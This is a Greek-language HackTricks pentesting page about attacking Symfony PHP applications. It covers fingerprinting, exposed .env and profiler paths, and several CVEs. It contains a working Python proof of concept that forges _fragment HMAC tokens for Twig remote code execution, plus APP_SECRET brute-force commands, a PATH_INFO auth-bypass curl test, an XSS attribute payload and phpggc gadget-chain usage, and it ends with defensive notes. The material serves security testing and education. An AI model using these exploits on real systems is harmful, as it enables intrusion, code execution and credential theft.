Symfony
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Symfony είναι ένα από τα πιο ευρέως χρησιμοποιούμενα PHP frameworks και εμφανίζεται τακτικά σε αξιολογήσεις enterprise, e-commerce και CMS στόχων (Drupal, Shopware, Ibexa, OroCRM … όλα ενσωματώνουν Symfony components). Αυτή η σελίδα συγκεντρώνει offensive tips, κοινές λανθασμένες ρυθμίσεις και πρόσφατες ευπάθειες που πρέπει να έχετε στη λίστα σας όταν εντοπίζετε μία Symfony εφαρμογή.
Historical note: Μεγάλο μέρος του ecosystem τρέχει ακόμα το 5.4 LTS branch (EOL November 2025). Το Symfony 7.4 έγινε το νέο LTS το Nov 2025 και θα λαμβάνει security fixes μέχρι Nov 2029. Πάντα επαληθεύετε το ακριβές patch-level γιατί πολλές advisories του 2024‑2026 επιδιορθώθηκαν μόνο σε micro releases.
Recon & Enumeration
Finger-printing
- Κεφαλίδες HTTP απάντησης:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkή cookies που ξεκινούν μεsf_redirect,sf_session,MOCKSESSID. - Source code leaks (
composer.json,composer.lock,/vendor/…) συχνά αποκαλύπτουν την ακριβή έκδοση:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Public routes που υπάρχουν μόνο σε Symfony:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(pretty error pages)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith ή ffuf/feroxbuster λίστες λέξεων:
symfony.txt→ ψάξτε για/_fragment,/_profiler,.env,.htaccess.
Interesting files & endpoints
| Path | Γιατί έχει σημασία |
|---|---|
/.env, /.env.local, /.env.prod | Συχνά αναπτύσσονται λανθασμένα → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg | Source disclosure → credentials + business logic |
/var/log/*.log, /log/dev.log | Λανθασμένη ρύθμιση web-root εκθέτει stack-traces |
/_profiler | Full request history, configuration, service container, APP_SECRET (≤ 3.4) |
/_fragment | Σημείο εισόδου που χρησιμοποιείται από ESI/HInclude. Κατάχρηση δυνατή μόλις γνωρίζετε APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE αν είναι προσβάσιμο (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & μερικές φορές leaks exception traces |
High-impact Vulnerabilities
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 αρχικά, αλλά εξακολουθεί να εμφανίζεται σε μοντέρνους στόχους όταν το debug παραμένει ενεργό ή εκτίθεται
.env. - Μόλις γνωρίζετε το 32-char
APP_SECRET, δημιουργείτε ένα HMAC token και καταχράστε τον εσωτερικό controllerrender()για να εκτελέσετε αυθαίρετο Twig:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Εξαιρετικό write-up & exploitation script: Ambionics blog (linked in References).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- Επηρεάζει εκδόσεις κάτω από 5.4.50, 6.4.29 και 7.3.7. Η ομαλοποίηση του path μπορούσε να αφαιρέσει το αρχικό
/, σπάζοντας κανόνες access-control που υποθέτουν διαδρομές όπως/admin. - Γρήγορο test:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ αν φτάνει σε admin routes χωρίς auth, το βρήκατε. - Patch: αναβαθμίστε
symfony/http-foundationή ολόκληρο το framework στο διορθωμένο patch level.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Επηρεάζει εκδόσεις κάτω από 5.4.51, 6.4.33, 7.3.11, 7.4.5 και 8.0.5 σε Windows όταν το PHP τρέχει από MSYS2 (Git-Bash, mingw). Το
Processδεν έκανε σωστή quoting στο=, οδηγώντας σε αλλοιωμένα paths· καταστροφικές εντολές (rmdir,del) μπορεί να στοχεύσουν ανεπιθύμητους φακέλους. - Αν μπορείτε να ανεβάσετε ένα PHP script ή να επηρεάσετε Composer/CLI helpers που καλούν
Process, δημιουργήστε arguments με=(π.χ.E:/=tmp/delete) για να προκαλέσετε επανεγγραφή διαδρομών.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Όταν
register_argv_argc=Onκαι χρησιμοποιούνται non-SAPI runtimes, crafted query strings μπορούσαν να αλλάξουνAPP_ENV/APP_DEBUGμέσω parsing τουargv. Patched σε 5.4.46/6.4.14/7.1.7. - Ψάξτε για
/?--env=prodή παρόμοια που γίνονται αποδεκτά στα logs.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Ειδικοί χαρακτήρες στο URI δεν επικυρώνονταν με τον ίδιο τρόπο όπως κάνουν τα browsers, επιτρέποντας redirect σε domains του attacker. Διορθώθηκε σε 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-componentπριν την 2.25.1 κάνουν render το{{ attributes }}χωρίς escaping → attribute injection/XSS. Αν η εφαρμογή επιτρέπει σε χρήστες να ορίζουν attributes component (admin CMS, email templating) μπορείτε να κάνετε chain σε script injection.- Αναβαθμίστε και τα δύο πακέτα σε 2.25.1+. Ως χειροκίνητο exploit, τοποθετήστε JS σε μια value attribute που περνάει σε custom component και ενεργοποιήστε το rendering.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- Το component
Processαναζητούσε το current working directory πριν από τοPATHστα Windows. Επιτιθέμενος που μπορεί να ανεβάσειtar.exe,cmd.exe, κ.λπ. σε writable web-root και να προκαλέσειProcess(π.χ. extraction αρχείων, PDF generation) αποκτά command execution. - Patched σε 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- Ο authentication guard επαναχρησιμοποιούσε υπάρχον session ID μετά το login. Αν ένας attacker θέσει το cookie πριν ο θύμας κάνει authentication, μπορεί να hijack-άρισει τον λογαριασμό μετά το login.
9. Twig sandbox XSS – CVE-2023-46734
- Σε εφαρμογές που εκθέτουν user-controlled templates (admin CMS, email builder) το φίλτρο
nl2brμπορούσε να χρησιμοποιηθεί για να παραβιαστεί το sandbox και να εγχυθεί JS.
10. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system idπαράγει Phar payload που ενεργοποιεί RCE όταν γίνει unserialize() σε κλάσεις όπωςsfNamespacedParameterHolder. Ελέγξτε endpoints upload αρχείων καιphar://wrappers.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce αδύναμου APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE μέσω εκτεθειμένου Symfony Console
Αν bin/console είναι προσβάσιμο μέσω php-fpm ή απευθείας ανέβασμα μέσω CLI:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Χρησιμοποιήστε deserialization gadgets μέσα στον φάκελο cache ή γράψτε ένα κακόβουλο Twig template που θα εκτελεστεί στο επόμενο αίτημα.
Δοκιμάστε γρήγορα τον PATH_INFO bypass (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Αν το αποδομένο αποτέλεσμα εμφανίζει το attribute χωρίς escaping, το XSS επιτυγχάνει. Επιδιορθώστε με patch στην έκδοση 2.25.1+.
Σημειώσεις άμυνας
- Ποτέ μην ενεργοποιείτε debug (
APP_ENV=dev,APP_DEBUG=1) σε production· αποκλείστε/app_dev.php,/_profiler,/_wdtστη ρύθμιση του web-server. - Αποθηκεύστε τα secrets σε env vars ή
vault/secrets.local.php, ποτέ σε αρχεία προσβάσιμα μέσω του document-root. - Εφαρμόστε διαχείριση patch – εγγραφείτε στις Symfony security advisories και διατηρήστε τουλάχιστον το LTS patch-level (5.4.x until Nov 2025, 6.4 until Nov 2027, 7.4 until Nov 2029).
- Αν τρέχετε σε Windows, αναβαθμίστε άμεσα για να μετριάσετε τα CVE-2024-51736 & CVE-2026-24739 ή προσθέστε
open_basedir/disable_functionsως defence-in-depth.
Χρήσιμα εργαλεία επίθεσης
- ambionics/symfony-exploits – secret-fragment RCE, ανακάλυψη debugger routes.
- phpggc – Έτοιμες gadget chains για Symfony 1 & 2.
- sf-encoder – μικρό helper για τον υπολογισμό του
_fragmentHMAC (Go implementation).
References
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


